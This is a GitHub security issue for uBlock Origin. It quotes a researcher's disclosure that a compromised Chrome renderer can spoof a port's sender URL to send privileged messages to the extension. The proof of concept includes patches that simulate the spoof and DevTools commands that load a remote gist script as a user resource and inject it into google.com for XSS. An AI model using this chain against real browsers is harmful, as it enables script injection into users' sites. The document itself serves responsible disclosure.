Skip to content

Use unspoofable Messenger.origin to determine privilege level of ports #1992

Closed
@gorhill

Description

Description

Email received at ubo-security at raymondhill.net on 2022-02-17:

Hi,

I'd like to report a security vulnerability in the uBlock Origin extension.

A compromised renderer process of Chrome is able to spoof the URL of a messaging port and send privileged messages.

A compromised renderer process can spoof the 'MessageSender.url' in a chrome.runtime.onConnect listener[1][2]. 'vAPI.messaging.onPortConnect' uses 'sender.url' to determine whether the port is privileged (https://github.com/gorhill/uBlock/blob/3154ed1bac227e4bc683c919d8d10bd01c9f8bb6/platform/common/vapi-background.js#L857-L861). As a result, a compromised renderer can spoof the URL to an extension URL and perform sensitive actions.

For instance, it can set 'userResourcesLocation' and add a custom filter to perform XSS.

[1] https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/security/compromised-renderers.md
[2] https://developer.chrome.com/docs/extensions/mv3/security/#content_scripts

  • Affected browser versions
    All Chrome including 98 (stable) to 101

  • PoC

  1. To simulate a compromised renderer, the following patch can be applied to Chromium:
diff --git a/extensions/renderer/ipc_message_sender.cc b/extensions/renderer/ipc_message_sender.cc
index 5e25676cbcb..5e7436c28d6 100644
--- a/extensions/renderer/ipc_message_sender.cc
+++ b/extensions/renderer/ipc_message_sender.cc
@@ -154,6 +154,9 @@ class MainThreadIPCMessageSender : public IPCMessageSender {
         }
         info.target_id = *target.extension_id;
         info.source_url = script_context->url();
+        if (info.source_url.host() == "example.com") {
+          info.source_url = GURL("chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm/");
+        }
 
         TRACE_RENDERER_EXTENSION_EVENT(
             "MainThreadIPCMessageSender::SendOpenMessageChannel/extension",

or the following patch to the uBlock Origin extension:

diff --git a/platform/common/vapi-background.js b/platform/common/vapi-background.js
index 0d3cc584e..90e7c7089 100644
--- a/platform/common/vapi-background.js
+++ b/platform/common/vapi-background.js
@@ -855,7 +855,11 @@ vAPI.messaging = {
         );
         const portDetails = { port };
         const sender = port.sender;
-        const { tab, url } = sender;
+        const { tab } = sender;
+        let { url } = sender;
+        if (url.indexOf("example.com") !== -1) {
+            url = "chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm/";
+        }
         portDetails.frameId = sender.frameId;
         portDetails.frameURL = url;
         portDetails.privileged = url.startsWith(this.PRIVILEGED_URL);
  1. Install uBlock Origin extension (https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm).
  2. Visit https://example.com and open DevTools.
  3. To simulate a compromised renderer, change the JavaScript context to uBlock Origin and run 'await vAPI.messaging.send("dashboard", {what: "writeHiddenSettings", content: "userResourcesLocation https://gist.githubusercontent.com/ylemkimon/c722fc2dc8510734a169d272aa116a6a/raw/1b04a075104aa27dbcaae13bd7e0ba0ef0f633ab/xss.js"}); await vAPI.messaging.send("dashboard", {what: "createUserFilter", filters: "google.com##+js(xss.js)"});'.
  4. Visit https://google.com and observe that an alert with the 'document.domain' is shown.

Best regards,
Young Min Kim

——
Young Min Kim
CompSec Lab, Seoul National University

uBlock Origin version

1.40.2

Browser name and version

All Chrome including 98 (stable) to 101

Operating System and version

Irrelevant

Metadata

Assignees

No one assigned

    Labels

    fixedissue has been addressed

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions